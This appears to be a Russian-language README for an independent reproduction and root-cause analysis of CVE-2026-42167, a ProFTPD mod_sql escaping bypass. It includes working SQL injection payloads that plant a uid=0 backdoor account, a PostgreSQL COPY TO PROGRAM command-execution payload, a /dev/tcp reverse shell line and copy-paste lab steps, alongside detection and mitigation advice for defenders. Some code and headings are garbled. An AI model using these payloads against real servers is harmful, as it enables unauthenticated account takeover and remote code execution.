
Независимое воспроизведение, анализ первопричины на уровне кода и реалистичное описание экспозиции для CVE-2026-42167 (обход is_escaped_text() в mod_sql ProFTPD).
mod_sqlНезависимое воспроизведение, разбор первопричины на уровне кода и откровенный
анализ степени подверженности риску для CVE-2026-42167 — обхода
is_escaped_text() в конвейере журналирования mod_sql ProFTPD, раскрытого
ZeroPath Research и исправленного в ProFTPD 1.3.9a / 1.3.10rc1.
Собрано и проверено от начала до конца в Docker на macOS / Apple Silicon, 2026-04-29.
TL;DR — см. Итог для реалистичной картины степени подверженности риску, прежде чем решать, насколько стоит беспокоиться. Это не ошибка конфигурации по умолчанию, но опасный шаблон экранирования — это именно тот шаблон, который документация upstream рекомендует использовать, поэтому значительная часть развёртываний
mod_sqlнаследует его.
| Поле | Значение |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд — через PG COPY TO PROGRAM) |
| Затронуто | ProFTPD ≤ 1.3.9 с mod_sql + SQLLog/SQLNamedQuery, строка формата которых подставляет управляемую атакующим переменную внутри одинарных кавычек |
| Исправлено в | 1.3.9a (af90843ba…) / 1.3.10rc1, см. коммит e6f728481 ("Issue #2052") |
| Зафиксированный уязвимый коммит | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Уязвимый файл | contrib/mod_sql.c, строки 741–758 (is_escaped_text) и строка 777 (sql_resolved_append_text) |
| Первичное раскрытие | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Публичный PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Примечания к выпуску | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() в contrib/mod_sql.cmod_sql разрешает переменные строки формата журналирования (%U, %{basename} и т. д.) и
добавляет каждый фрагмент в формируемый SQL через sql_resolved_append_text().
Для сохранения обратной совместимости с конфигурациями администраторов, которые уже оборачивают
переменные в '…', функция вызывает is_escaped_text(), чтобы решить,
нужен ли sql_escapestring:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Проверка является чисто структурной — она не может отличить *«уже экранировано доверенным кодом»* от *«создано атакующим так, чтобы выглядеть уже экранированным»*.
Любое значение, предоставленное клиентом и совпадающее с `'<no-internal-quotes>'`, пропускает
`sql_escapestring` и конкатенируется в исходном виде в итоговый запрос.
Стандартная, документированная конфигурация оборачивает `%U` / `%{basename}` / `%m` в одинарные
кавычки:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Когда атакующий отправляет USER '<payload>' (открывающая и закрывающая кавычки, без
внутренних кавычек), резолвер подставляет %U без экранирования, создавая
''<payload>'' в SQL — литералы пустых строк закрывают
окружающие кавычки, а <payload> выполняется как сырой SQL. В PostgreSQL
(PQexec) и SQLite (sqlite3_exec) поддерживаются составные запросы, поэтому
<payload> может быть любой последовательностью операторов.
Поскольку SQLLog ERR_* срабатывает при неудачных входах, а %U задаётся из
USER до аутентификации, атака полностью не требует аутентификации.
e6f728481, "Issue #2052")sql_resolved_append_text() получает параметр already_escaped. Вызывающие
функции, которые резолвят значения из клиентского ввода, передают FALSE и теперь
проходят через sql_escapestring безусловно — эвристика is_escaped_text() по-прежнему
применяется для легитимного пути "конфиг содержит предварительно экранированное значение", но
больше не применяется к данным, контролируемым атакующим.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Оба контейнера поднимаются через `setup/docker-compose.yml`.
- `setup/proftpd.conf` включает уязвимую конфигурацию журналирования (см. §1).
- `setup/seed.sql` создаёт `users`, `groups`, `activity_log`, `xfer_log`
и `secrets`, а также одного легитимного FTP-пользователя `ftpuser / ftppass`.
---
## 3. Воспроизведение — копировать и вставить
Предварительные требования: Docker Desktop, Python 3.10+, git. (`uv` необязателен;
PoC используют только стандартную библиотеку.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Два интерактивных варианта в вышестоящем репозитории
(preauth_user_rce.py, postauth_stor_rce.py) не изменены и открывают
обратную оболочку на базе PTY. Они используют тот же примитив, что и
вариант с маркером — просто замените команду оболочки на bash -i >& /dev/tcp/<host>/<port> 0>&1 и сначала прослушивайте порт <port>.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Почему это работает:
1. **Внешние кавычки + отсутствие внутренних кавычек** соответствуют
`is_escaped_text()` → экранирование пропускается.
2. Настроенный `SQLNamedQuery` — это `INSERT "'%U', '%r', '%m'" activity_log`,
поэтому итоговый SQL становится
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — но
`<payload>` сам начинается с `'`, поэтому фактический запрос выглядит так:
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` закомментирует завершающие слоты формата.
4. `$$…$$` — долларовое кавычение PostgreSQL позволяет передавать строки (`backdoor`,
`pwned123`, `/`, `/bin/bash`) без использования `'` — сохраняя
обход `is_escaped_text()`.
5. `SQLLog ERR_*` срабатывает при неудачном входе → `PQexec()` выполняет
вложенный `INSERT INTO users` → учетная запись бэкдора появляется в таблице аутентификации.
### Бэкдор после аутентификации (имя файла `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Same bypass, different trigger. chr(47) = '/' is used because
/ in a filename is interpreted as a directory separator by FTP, so the
attacker can't put a literal / in the filename — chr() lets the
backdoor account get homedir = '/' without sending one over the wire.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
Где `<shell-cmd>` — любая команда. PostgreSQL выполняет её через `/bin/sh`
на хосте **базы данных** от имени OS-пользователя `postgres`. Требует, чтобы роль БД,
используемая `mod_sql`, была суперпользователем (или членом
`pg_execute_server_program`) — это распространено в однопользовательских развёртываниях и
является значением по умолчанию для официального Docker-образа `postgres`, когда роль
создаётся через `POSTGRES_USER`.
---
## 5. Данные, собранные при воспроизведении
| Файл | Что он показывает |
|---|---|
| `logs/01_preauth_backdoor.log` | Вывод PoC до аутентификации, вход как `backdoor` успешен (`230`) |
| `logs/02_db_users_after.log` | Таблица `users` теперь содержит `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Вывод PoC после аутентификации через STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Маркерная нагрузка, отправленная по FTP |
| `logs/06_users_final.log` | Итоговое состояние таблицы `users` |
| `logs/07_proftpd_trace.log` | Собственный журнал трассировки ProFTPD, выводящий `text '…' is already escaped, skipping escaping it again` для каждой внедрённой нагрузки — прямое доказательство того, что `is_escaped_text()` возвращает TRUE для ввода атакующего |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` записан *пользователем postgres* в контейнере postgres |
| `screenshots/*.png` | PNG-рендеры каждого захваченного сеанса терминала |
Строка журнала трассировки — это неопровержимое доказательство:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Это сообщение выводится в contrib/mod_sql.c:791 только тогда, когда
is_escaped_text() вернула TRUE — то есть именно при обходе.
Обнаружение (форензика на развёрнутом сервере):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
с включённым Trace sql:17 фиксирует каждую попытку инъекции, достигшую
обхода.activity_log (или любую таблицу, в которую пишет SQLNamedQuery INSERT):
строки, где столбец имени пользователя начинается с лишней кавычки, содержит null, null);, или содержит INSERT/COPY TO PROGRAM/UPDATE, являются доказательством.users на наличие учётных записей с uid=0, homedir='/' или
оболочкой, установленной на реальную оболочку, когда политика требует /sbin/nologin.Смягчение:
e6f728481).SQLNamedQuery (замените '%U'
на более безопасный %U только внутри параметризованных бэкендов, либо используйте
файловое логирование неудачных входов в открытом виде).mod_sql не
является суперпользователем — только это уже устраняет путь RCE через COPY TO PROGRAM
(обход аутентификации через вложенный INSERT INTO users всё ещё работает, но радиус
поражения ограничен базой данных proftpd).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
---
## 8. Это реалистично — или надуманный крайний случай?
Честный ответ: **уже, чем «отправил один пакет — и получил сервер», но уязвимый паттерн описан в собственной документации ProFTPD, так что это не надумано.** Три независимых измерения определяют, затронут ли конкретное развёртывание, и каждое из них сужает круг.
### 8.1 Загружен ли вообще `mod_sql`?
`mod_sql` подключается по желанию. Его **нет** в сборке ProFTPD по умолчанию и нет в конфигурации по умолчанию дистрибутивных пакетов, таких как Debian `proftpd-basic`. Он у вас есть только если:
- Вы собрали с `--with-modules=mod_sql:mod_sql_<backend>`, или
- Вы установили пакет под конкретный бэкенд: Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.
Люди устанавливают эти пакеты по понятной причине: **аутентификация** на основе SQL (пользователи в БД вместо `/etc/passwd`) или **журналирование активности** на основе SQL для аудита. И то, и другое распространено в shared-hosting, управляемом FTP и корпоративных FTP-drop развёртываниях. Так что `mod_sql` — это реальная часть установочной базы — просто не «каждый сервер».
### 8.2 Используется ли вообще уязвимый паттерн `SQLNamedQuery`?
Вот здесь реалистичность максимальна. Паттерн, который вызывает баг, *и есть документированный.* Примеры, взятые напрямую из вышестоящего дерева на зафиксированном уязвимом коммите:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Каждый из них оборачивает управляемую атакующим переменную (%u, %r) в одинарные кавычки — ровно та форма, которую is_escaped_text() ошибочно классифицирует как безопасную. Администратор, который копирует примеры из официальной документации, наследует уязвимый шаблон. Это главная причина относиться к проблеме серьёзно.
Полностью неаутентифицированный путь (USER + %U + SQLLog ERR_*) — это самый узкий случай. Он требует всех трёх условий:
SQLNamedQuery, подставляющий %U (исходное имя пользователя, задаётся даже при неудачном входе) внутри одинарных кавычек — в реальных конфигурациях встречается реже, чем %u, поскольку большинство администраторов хотят видеть успешное имя пользователя для аудита и используют %u.SQLLog, которая срабатывает до аутентификации. SQLLog ERR_* — канонический шаблон для этого. SQLLog PASS … и SQLLog STOR … (самые распространённые формы) — нет.Если в конфигурации используется %u, а не %U, та же ошибка всё равно приводит к обходу аутентификации — но только после аутентификации, т.е. атакующему сначала нужны любые рабочие учётные данные, прежде чем он сможет внедрить бэкдор с uid=0. В большинстве реальных конфигураций это реалистичный сценарий воздействия: FTP-пользователь с низкими привилегиями → FTP-пользователь с правами root через одну загрузку файла.
Обход срабатывает одинаково на любом бэкенде, но то, что атакующий может сделать, сильно различается:
| Бэкенд | Stacked-запросы? | Обход аутентификации через INSERT INTO users | RCE на хосте БД |
|---|---|---|---|
| PostgreSQL | Да (PQexec) | Работает | Да через COPY TO PROGRAM, если роль БД — суперпользователь |
| SQLite | Да (sqlite3_exec) | Работает (и FTP-воркер часто имеет PRIVS_ROOT — ещё хуже) | Прямого аналога нет, но доступная на запись таблица users → вход в FTP под root |
| MySQL | Нет — mysql_real_query без CLIENT_MULTI_STATEMENTS | Нельзя добавить второй оператор; сводится к однострочному подзапросу / слепой SQLi только для эксфильтрации данных | Нет |
PostgreSQL или SQLite ⇒ полное воздействие. MySQL ⇒ только утечка данных / слепая time-based инъекция. MySQL — самый распространённый бэкенд для shared-хостинга (cPanel, Plesk, ISPConfig по умолчанию используют его); PostgreSQL чаще встречается в кастомных корпоративных сборках. Обе популяции значительны.
Главная RCE через COPY TO PROGRAM дополнительно требует, чтобы роль PostgreSQL для mod_sql была суперпользователем (или членом группы pg_execute_server_program). Это:
POSTGRES_USER официального Docker-образа postgres (по умолчанию для большинства PoC-лабораторий и многих образов устройств, включая setup/ в этом репозитории).Если роль не суперпользователь, вы всё равно получаете примитив обхода аутентификации (сам по себе критический), но OS-уровневая RCE на хосте БД исчезает.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Рекомендации
Для всех, кто использует ProFTPD `mod_sql`:
- **Обновитесь** до ≥ 1.3.9a в любом случае. Это единственное полное исправление.
- **Компенсирующие меры** до установки патча:
- Понизьте роль БД до **не-суперпользователя** — это устраняет ветку RCE на
PostgreSQL.
- Проверьте таблицу `users` / аутентификации на наличие посторонних строк `uid=0` или недавно
добавленных учётных записей — см. §6.
- Включите `Trace sql:17` и ищите
`is already escaped, skipping escaping it again` в `trace.log` — эта
строка является прямым доказательством попытки обхода.
- Если возможно, удалите директивы `SQLLog ERR_*` и любые
форматы `SQLNamedQuery INSERT`, которые интерполируют `%U` (примитив до аутентификации).
Пост-аутентификационный путь всё ещё будет существовать через `%u` /
`%{basename}`, но вы устраните наихудший случай.
---
## 11. Итог
- Это **не** «уязвимость стандартной установки» — у вас должен быть
включён `mod_sql`.
- Это **есть** «уязвимость при следовании документации» — опасный шаблон
экранирования является официальным, скопированным из HOWTO-руководств проекта.
- **Полностью неаутентифицированный** сценарий из заголовка реален, но
требует специфической комбинации конфигурации (pre-auth `%U` + `SQLLog ERR_*` wildcard),
которая встречается реже, чем пост-аутентификационный путь.
- **Пост-аутентификационная эскалация привилегий** (любой FTP-пользователь → uid=0
FTP-бэкдор) — гораздо более реалистичный сценарий, применимый к большой
доле развёртываний `mod_sql` + PostgreSQL/SQLite, использующих
документированные шаблоны логирования.
- **RCE на уровне ОС на хосте БД** ограничен тем, что роль БД должна быть
суперпользователем — часто встречается в однопользовательских / appliance-конфигурациях,
реже — в средах, управляемых DBA.
---
## Благодарности
- Уязвимость обнаружена и первоначально раскрыта
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Публичный репозиторий PoC:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Исправление от TJ Saunders, коммит
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
(«Issue #2052»).
Этот репозиторий — независимое воспроизведение и анализ для защитных
исследований и обучения. Никакого 0-day. Используйте только на системах, которые вам
разрешено тестировать.